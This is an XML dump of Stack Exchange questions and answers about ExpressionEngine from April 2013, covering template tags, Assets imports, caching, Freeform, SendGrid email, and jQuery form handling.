  <row Id="9087" PostTypeId="2" ParentId="9084" CreationDate="2013-04-06T19:36:28.577" Score="1" Body="&lt;p&gt;Are you checking the language code? Biber's MLS prepares a global variable &quot;language_code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, you are using code for events like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rsvp:member_events parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;events&quot; entry_id=&quot;{entry_ids}&quot;}&#xA;        &amp;lt;!-- event details --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:rsvp:member_events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the language preference update code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rsvp:member_events parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;events_{language_code}&quot; entry_id=&quot;1|{entry_ids}&quot;}&#xA;        &amp;lt;!-- event details --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:rsvp:member_events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can notice, I am using {language_code} within channel parameter.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-06T19:36:28.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9088" PostTypeId="1" CreationDate="2013-04-06T20:04:33.300" Score="4" ViewCount="146" Body="&lt;p&gt;The {exp:profile:login return=&quot;profile/edit&quot;} doesn't work as expected : the page doesn't redirect on submit. The template_group/template exist, I can access this page via the template manager and it renders correctly.&#xA; I'm using &quot;structure&quot;, the profile channel isn't managed by the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE login form works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I'm … lost :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ? Please ?&lt;/p&gt;&#xA;" OwnerUserId="1252" LastEditorUserId="1252" LastEditDate="2013-04-06T20:24:04.640" LastActivityDate="2013-05-26T20:30:22.787" Title="Profile:edit, no redirection" Tags="|structure|profile-edit|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9089" PostTypeId="2" ParentId="9070" CreationDate="2013-04-06T20:23:12.587" Score="1" Body="&lt;p&gt;It is definitely possible. For my setup the necessary config was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['multi_login_sites'] = &quot;http://somesite.com/|http://anothersite.com/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you provide a pipe delimited list of each of your site's URLs. You will have to make sure that the URLs you provide are an exact match for what ExpressionEngine has for the &lt;code&gt;{site_url}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-04-06T20:23:12.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostTypeId="2" ParentId="9082" CreationDate="2013-04-06T20:36:50.837" Score="2" Body="&lt;p&gt;As Ian has mentioned Store does not currently have the ability for users to enter their own price in. On &lt;a href=&quot;https://exp-resso.com&quot; rel=&quot;nofollow&quot;&gt;exp-resso.com&lt;/a&gt; there is a channel for the donations (tip jar) that has a single product with a value of $1. When a user enters the price that they want to donate they are actually just adding X amount of items to the cart at $1 a piece so a $25 donation is actually registered as 25 donation items of $1 for a total value of $25.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a &lt;a href=&quot;http://iamjustinlong.com/blog/single/accepting_donations_with_expresso_store/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; a while back that deals with a similar situation. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-08-19T09:39:08.217" LastActivityDate="2013-08-19T09:39:08.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9092" PostTypeId="2" ParentId="9018" CreationDate="2013-04-06T22:42:54.133" Score="1" Body="&lt;p&gt;I have done something similar, but using categories in the mix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My search form will search each category that is &quot;selected&quot; via named toggles. When the user searches using my simple search form I use jquery to override the search form, collect the toggled categories and then submit that url with the category and search values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then reload the results into the existing page, in a div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code that I am using...  hth&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* attach a submit handler to the contact form. By default, EE generates the ID &quot;contact_form&quot; */&#xA;    $(&quot;#calform&quot;).submit(function(event)&#xA;    {&#xA;      event.preventDefault();&#xA;      $('#calLoad').fadeTo('fast', 0.5); &#xA;      /* send the form data using post and check the results for any errors*/&#xA;      $.ajax(&#xA;      {&#xA;       url: &quot;/&quot;,&#xA;       type: &quot;post&quot;,&#xA;       dataType: &quot;html&quot;,  &#xA;       data: $(this).serialize(),&#xA;       beforeSend: function(){ },&#xA;       error: function(jqXHR, textStatus, errorThrown){displayAjaxMessage(&quot;Sorry, there was an error submitting your form.&quot;);},&#xA;       success: function(html, textStatus, jqXHR){&#xA;           $('#calLoad').fadeTo('fast', 1);&#xA;           $('#calLoad').empty().append(html);   &#xA;           }&#xA;      });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-04-06T22:42:54.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9093" PostTypeId="1" CreationDate="2013-04-07T13:01:44.510" Score="0" ViewCount="191" Body="&lt;p&gt;If my client attaches 4 images to an Assets-field for an entry, how would I get a random one of those images? I was hoping something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='types'}&#xA;    {type_map_icon limit='1' orderby='random'}&#xA;&#xA;    {/type_map_icon}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;{type_map_icon}&lt;/code&gt; is the Assets-field which holds the 4 images. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-04-07T13:13:31.783" Title="Assets: pick a random one of the assets in this entry" Tags="|assets|pixelandtonic|random|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9094" PostTypeId="2" ParentId="9093" CreationDate="2013-04-07T13:13:31.783" Score="1" Body="&lt;p&gt;Sorry, my bad! Assumed orderby='random' but the parameter = sort='random'!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-04-07T13:13:31.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostTypeId="1" AcceptedAnswerId="9114" CreationDate="2013-04-07T13:59:47.610" Score="1" ViewCount="495" Body="&lt;p&gt;I was kinda hoping the new version of Solspace's importer module would make it possible to import images into Assets fields but alas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on a site with a large (+-4000) product catalogue, each product is an EE entry with 1 image (product shot) in an Assets field + a list of product specifications. &lt;em&gt;(The spec data has already been successfully imported from a csv file using Solspace's importer)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to, once the images have been uploaded to the default folder, import the filepath into the entry's Assets field? &#xA;(EE 2.5.5 - Assets 2.0.5)&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-04-07T14:08:18.300" LastActivityDate="2013-04-08T17:01:09.380" Title="P&amp;T Assets: any way of importing images?" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9096" PostTypeId="2" ParentId="9079" CreationDate="2013-04-07T16:16:38.207" Score="2" Body="&lt;p&gt;&lt;code&gt;DOMDocument&lt;/code&gt; is a built in PHP class. It sounds like the PHP DOM extension is disabled on your server - you will probably need to talk to your host about enabling it (it is enabled by default in PHP and I've never seen a host without it before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check this, you can visit Tools &gt; Utilities &gt; PHP Info in the EE control panel, and search for &lt;em&gt;DOM/XML&lt;/em&gt; which should say &lt;em&gt;enabled&lt;/em&gt; next to it.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-07T16:16:38.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9097" PostTypeId="2" ParentId="8945" CreationDate="2013-04-07T16:21:48.430" Score="1" Body="&lt;p&gt;I wouldn't rely on whether the email turns up in your inbox as a good way to tell whether it is being sent or not (even if it works from the EE communicate tab). Your code looks correct, and if there are no errors then it is most likely being sent fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I would do to troubleshoot is sign up for SendGrid (free for up to 200 emails per day), and enter their SMTP settings into EE. That way, you can look in their control panel and see every email that is being sent from your site (it also greatly increases the chances of your email being delivered, some really popular email providers such as Gmail will just plain block email from IP addresses they haven't seen before, or especially if another customer at your ISP has a record of sending spam).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-07T16:21:48.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9098" PostTypeId="1" CreationDate="2013-04-07T18:04:50.227" Score="2" ViewCount="107" Body="&lt;p&gt;I have a safecracker form with 4 very similar ( a few of the same colmumn names ) Matrix fields. When I click the + button to add a row to one of the Matrix fields it adds 4 rows each with a number 1 on the rows. The second field add three rows with a number one and third adds two rows with a number one. &lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2013-08-08T17:03:12.753" Title="What are the best practices for having multiple Matrix field on one Safecracker form?" Tags="|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9100" PostTypeId="1" CreationDate="2013-04-07T21:29:55.253" Score="0" ViewCount="141" Body="&lt;p&gt;Just wondering if anyone knows of a discount plugin for CartThrob where you can place a free product in the cart if someone buys another product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to set in the admin a discount so that if a person buys product X then product Y will automatically get added to the cart for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-06-21T11:32:32.360" Title="Buy X Get Y for CartThrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostTypeId="2" ParentId="9078" CreationDate="2013-04-08T01:48:28.430" Score="3" Body="&lt;p&gt;This may not be the prettiest solution but, I got it working by removing the inline float:left and adding it to my css instead.  Just to pass along, I wrote this jQuery to add mouse over functionality to swap product images, change the value of my select modifier, change the SKU and price on thumbnail mouseover.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(document).ready(function () {&#xA;&#xA;        $('#fandeck #18 a').hover(function () {&#xA;           $(this).css('cursor','hand');&#xA;        $('.group').hide();&#xA;        $('#43').show();&#xA;            $('#selectImg').val('44').prop('selected', 'selected');&#xA;            $(&quot;#43 img&quot;).attr(&quot;src&quot;, &quot;/images/uploads/Playground_Mulch_BLK.png&quot;)&#xA;          $('.store_product_sku').text('90509');&#xA;          $('.store_product_price').text('$7.50');&#xA;&#xA;          }); &#xA;&#xA;&#xA;&#xA;        $('#fandeck #19 a').hover(function () {&#xA;           $(this).css('cursor','hand');&#xA;        $('.group').hide();&#xA;        $('#43').show();&#xA;            $('#selectImg').val('44').prop('selected', 'selected');&#xA;            $(&quot;#43 img&quot;).attr(&quot;src&quot;, &quot;/images/uploads/Playground_Mulch_RD.png&quot;).fadeIn(&quot;slow&quot;);&#xA;          $('.store_product_sku').text('90509RD');&#xA;          $('.store_product_price').text('$18.00');&#xA;        });&#xA;&#xA;&#xA;        $('#fandeck #20 a').hover(function () {&#xA;           $(this).css('cursor','hand');&#xA;        $('.group').hide();&#xA;        $('#43').show();&#xA;            $('#selectImg').val('45').prop('selected', 'selected');&#xA;            $(&quot;#43 img&quot;).attr(&quot;src&quot;, &quot;/images/uploads/Playground_Mulch_BRN.png&quot;).fadeIn(&quot;slow&quot;);&#xA;          $('.store_product_sku').text('90509BR');&#xA;           $('.store_product_price').text('$18.00');&#xA;        });&#xA;&#xA;&#xA;        $('#fandeck #21 a').hover(function () {&#xA;        $('.group').hide();&#xA;        $('#43').show();&#xA;            $('#selectImg').val('46').prop('selected', 'selected');&#xA;            $(&quot;#43 img&quot;).attr(&quot;src&quot;, &quot;/images/uploads/Playground_Mulch_GN.png&quot;).fadeIn(&quot;slow&quot;);&#xA;          $('.store_product_sku').text('90509GN');&#xA;           $('.store_product_price').text('$18.00');&#xA;        });&#xA;&#xA;&#xA;        $('#fandeck #22 a').hover(function () {&#xA;        $('.group').hide();&#xA;        $('#43').show();&#xA;            $('#selectImg option[value=47]').prop('selected', 'selected');&#xA;            $(&quot;#43 img&quot;).attr(&quot;src&quot;, &quot;/images/uploads/Playground_Mulch_BL.png&quot;).fadeIn(&quot;slow&quot;);&#xA;          $('.store_product_sku').text('90509BL');&#xA;           $('.store_product_price').text('$18.00');&#xA;&#xA;       })&#xA;});&#xA;&#xA;       //Image replacement for Playground Much Select&#xA;        $('.group').hide();&#xA;        $('#43').show();&#xA;        $('#selectImg').change(function () {&#xA;          var num = 43;&#xA;            $('.group').hide();&#xA;            $('#' + $(this).val()).show();&#xA;          if($(this).val()==num){ // Resets to Black if mouse over has changed source&#xA;            $(&quot;#43 img&quot;).attr(&quot;src&quot;, &quot;/images/uploads/Playground_Mulch_BLK.png&quot;)    &#xA;        }&#xA;        })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the final &lt;a href=&quot;http://jsfiddle.net/NnEdM/11/&quot; rel=&quot;nofollow&quot;&gt;jsfiddle&lt;/a&gt; and here's final result.  &lt;a href=&quot;http://spartonenterprises.com/store/playground-mulch&quot; rel=&quot;nofollow&quot;&gt;http://spartonenterprises.com/store/playground-mulch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2013-04-08T01:48:28.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9103" PostTypeId="1" AcceptedAnswerId="9104" CreationDate="2013-04-08T08:20:54.420" Score="1" ViewCount="104" Body="&lt;p&gt;I've recently launched a new site for a client. Their old site contained a lot of product pages with url parameters such as id=0123. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try and alleviate people following dead links from Google etc I have implemented a system that looks up the id parameter against their old database, fetches the name of the product and then looks it up in the exp_channel_data table. If a match is found I have a 301 redirect at the top of the 404 template to send the visitor to what is hopefully the correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no match is found then the 404 page displays (though I may add some other sort of guessed lookup based on some other criteria later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, will that 301 get sent back to Google BEFORE the 404 response code generated by hitting the 404 template. Will the above method have the desired effect of telling Google that pages have moved to different URLs?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-08T08:33:25.950" Title="At what point does the 404 template send it's response code?" Tags="|redirects|404|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9104" PostTypeId="2" ParentId="9103" CreationDate="2013-04-08T08:33:25.950" Score="1" Body="&lt;p&gt;The EE 404 page doesn't actually send a 404 header unless you are using a plugin or php in the template to specify that you want if be sent with a 404 header. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-08T08:33:25.950" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9105" PostTypeId="2" ParentId="8945" CreationDate="2013-04-08T08:34:38.330" Score="0" Body="&lt;p&gt;After messing about for a few days trying to re-invent the wheel, I decided to throw in the towel and just use &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;FreeForm&lt;/a&gt;. No idea why I didn't come to this conclusion sooner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moral of the story - Make sure there aren't Add-ons out there which already do what you are trying to accomplish. You may have to adapt slightly to the way the Add-on does things, but in the end it'll save you time and money! &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-04-08T08:34:38.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostTypeId="1" CreationDate="2013-04-08T12:53:02.907" Score="0" ViewCount="36" Body="&lt;p&gt;I was wondering if it's possible to update some profile fields during login using Profile:Edit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is, I have a survey where people can login at the end of it to save their result. But I'd like to just pass some hidden fields with the values, but i'm not sure if it's possible to effectively save an edit to a profile during login? :/&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-04-08T12:53:02.907" Title="Set profile fields with values during login with Profile:Edit" Tags="|profile-edit|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9108" PostTypeId="2" ParentId="9095" CreationDate="2013-04-08T14:54:11.610" Score="1" Body="&lt;p&gt;If your original import included an image filename for each record then can just run an SQL query to prepend the filepath as &lt;code&gt;{filedir_X}&lt;/code&gt; where X is the id of your upload directory. Do this for &lt;code&gt;field_id_Y&lt;/code&gt; where Y is your Asset custom field's id. Add a where clause to for the relevant channel where Z is the channel_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data&#xA;SET field_id_X =  CONCAT('{filedir_Y}', field_id_X)&#xA;WHERE channel_id = Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your original import did not include the image filename for each record it would probably be worth doing another import from scratch or to update the exiting entries so you can get the image file name in there.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-04-08T14:54:11.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9109" PostTypeId="1" CreationDate="2013-04-08T15:07:09.593" Score="1" ViewCount="126" Body="&lt;p&gt;I am trying to add a Google Site Map for my site but am having a few issues. I get the following errors from Google (see attached).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzwSC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it is to do with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gmt_edit_date format=&quot;%Y-%m-%d;T;%H:%i:%s%Q&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I am not an expert. I was just following a screen cast. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-05-09T13:17:07.593" Title="Google Sitemap Issues" Tags="|google-webmaster-tools|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9110" PostTypeId="1" AcceptedAnswerId="9117" CreationDate="2013-04-08T15:19:29.213" Score="0" ViewCount="227" Body="&lt;p&gt;I just dropped my Freeform (Pro) form code into a template in a second site running on Multiple Site Manager. It's not rendering, and a peek in the Control Panel for site #2 shows no fields or forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form is a duplicate of one set up for the main site, so I'm happy to see the submissions reside there, and for it to follow the settings there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to leverage the default site's Freeform setup? Or do I need to reproduce this in site #2?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-04-08T17:50:33.017" Title="Freeform (Pro) and Multiple Site Manager" Tags="|templates|multi-site-manager|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9111" PostTypeId="2" ParentId="6740" CreationDate="2013-04-08T15:41:47.913" Score="2" Body="&lt;p&gt;Another approach might be to turn your module into a package. You could put this in in your module's constructor (or a superclass to subclass it from for use in more than one class):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'mymodulename');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now mymodulename/models will be added as a path for your model files. and mymodulename/helpers for your helper files. You can then load the model.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model(&quot;mymodelname&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="448" LastActivityDate="2013-04-08T15:41:47.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9112" PostTypeId="1" CreationDate="2013-04-08T16:04:57.037" Score="1" ViewCount="175" Body="&lt;p&gt;I have a safecracker entry that I would like to change the status via jquery onClick or Submit? For example, I have one button that would be &quot;save and preview&quot; that onClick would change the status to &quot;preview&quot;. There would be another button onClick button &quot;Submit for Review&quot; that would change the status of the same form to &quot;pending&quot;. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-04-08T17:24:09.287" Title="Is there way to change a status of a safecracker entry with jquery?" Tags="|safecracker|jquery|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9113" PostTypeId="1" AcceptedAnswerId="9410" CreationDate="2013-04-08T16:35:19.863" Score="1" ViewCount="29" Body="&lt;p&gt;Izzit possible to input keyword right on the wygwam uploader. Now when I right click it only show &quot;view file&quot; I wish there is a way that I can have &quot;edit&quot; so our editor can input some keywords for that particular image they upload for their article.&lt;/p&gt;&#xA;" OwnerUserId="1300" LastActivityDate="2013-04-16T22:07:39.207" Title="wygwam upload assets set keyword" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostTypeId="2" ParentId="9095" CreationDate="2013-04-08T17:01:09.380" Score="2" Body="&lt;p&gt;I just made this work when doing an import from EE1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up templates in the EE1 site to output the channel contents as XML. I was using nGen File Field there, so my image fields look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;photo-photo&amp;gt;{filedir_1}{photo-photo show=&quot;filename&quot;}&amp;lt;/photo-photo&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nGen File Field uses &lt;code&gt;show=&quot;filename&quot;&lt;/code&gt; to only output the filename, so I could include the &lt;code&gt;filedir&lt;/code&gt; reference as text in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I imported those into 2.5.5 using DataGrab, I had to set the fieldtype to be EE's File fieldtype first. Those paths would then work. I could see the images in the entry screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I was done with the import, I changed the 2.5.5 fieldtype to Assets. Voila! Everything works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had to re-import, I'd switch the fields back to File, import, and then switch them back to Assets.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-04-08T17:01:09.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9115" PostTypeId="2" ParentId="9112" CreationDate="2013-04-08T17:16:39.383" Score="1" Body="&lt;p&gt;You can do it easily with the &lt;a href=&quot;http://www.eevolution.co.uk/products/mefu&quot; rel=&quot;nofollow&quot;&gt;Mefu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create a template having mefu tag OR just put this code within a template like tempgrp/tempname:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mefu:save}{/exp:mefu:save}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and put this JQuery code to post the entry status to above template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.post(&quot;temp_grp/temp_name&quot;, { &quot;[entry_id]:staus&quot;: &quot;Open&quot;, mefu: &quot;submit&quot; }, function(data){&#xA;alert('status updates')&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the same purpose, you can write the UPDATE query to update the entry status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the preview, use the load() of JQuery like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.post(&quot;temp_grp/temp_name&quot;, { &quot;[entry_id]:staus&quot;: &quot;Open&quot;, mefu: &quot;submit&quot; }, function(data){&#xA;$('#container_id').load('preview_template');&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-08T17:24:09.287" LastActivityDate="2013-04-08T17:24:09.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9116" PostTypeId="1" AcceptedAnswerId="9119" CreationDate="2013-04-08T17:34:27.587" Score="0" ViewCount="356" Body="&lt;p&gt;This is a cross-post from the Devot:ee forums.&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/support/ce-cache/viewthread/9173&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/ce-cache/viewthread/9173&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m hoping I’m missing something simple.&lt;br&gt;&#xA;My &lt;code&gt;{exp:ce_cache:escape}&lt;/code&gt; tag pair simply seems to be ignored.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates aren’t unusual.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it}&#xA;  {exp:ce_cache:escape}&#xA;    {current_time format=&quot;%g:%i:%s&quot;}&#xA;  {/exp:ce_cache:escape}&#xA;{/exp:ce_cache:it} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The time never changes.&lt;br&gt;&#xA;When I look at the cached file through the CP, it shows the cached time, not the tag.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-08T20:11:28.160" Title="CE Cache Escape tags being ignored" Tags="|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9117" PostTypeId="2" ParentId="9110" CreationDate="2013-04-08T17:50:33.017" Score="1" Body="&lt;p&gt;It looks like &lt;a href=&quot;http://www.solspace.com/forums/viewthread/14448/&quot; rel=&quot;nofollow&quot;&gt;this Solspace Support Forum post&lt;/a&gt; covers duplicating a form in your second site.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-04-08T17:50:33.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9118" PostTypeId="1" AcceptedAnswerId="9141" CreationDate="2013-04-08T18:21:44.220" Score="1" ViewCount="156" Body="&lt;p&gt;We are looking into an email solution for our client. They would like to email their site members once or twice a month. The amount of members is around 6,000. Does anyone know if there is a maximum number of emails that can be sent via ExpressionEngine (Tools &gt; Communicate)? It is set up to send via SMTP (SendGrid). Note: we have the ability to send 40,000 emails per month with SendGrid, so that would not be a bottleneck. I would appreciate any insight or feedback you can offer. I have very limited experience sending emails via the Control Panel's Tools &gt; Communicate.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-04-09T12:56:27.877" Title="Is there a maximum number of emails that can be sent through EE?" Tags="|control-panel|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9119" PostTypeId="2" ParentId="9116" CreationDate="2013-04-08T18:35:50.553" Score="3" Body="&lt;p&gt;Escaping will escape pretty much everything it can with {exp..} tags and later in the &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;. If you would like to escape things with an early parse order too, like global variables, you'll want to use pre escaping. Here's an explanation from the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide/tags#pre-escaping&quot; rel=&quot;nofollow&quot;&gt;Pre Escaping documentation&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the Escape tag is given a unique tagpart (example: &lt;code&gt;{exp:ce_cache:escape:blah}…{/exp:ce_cache:escape:blah}&lt;/code&gt; has a unique tagpart of &lt;code&gt;blah&lt;/code&gt;) then its tagdata will be pre-escaped (escaped even before segment variables and globals are parsed) when using EE 2.4.0+.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope that helps. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it}&#xA;   &amp;lt;p&amp;gt;This should be cached: {current_time}&amp;lt;/p&amp;gt;&#xA;&#xA;   {exp:ce_cache:escape:pre}&#xA;      &amp;lt;p&amp;gt;This should not be cached: {current_time}&amp;lt;/p&amp;gt;&#xA;   {/exp:ce_cache:escape:pre}&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm the author of CE Cache.&lt;/p&gt;&#xA;" OwnerUserId="936" LastEditorUserId="936" LastEditDate="2013-04-08T20:11:28.160" LastActivityDate="2013-04-08T20:11:28.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
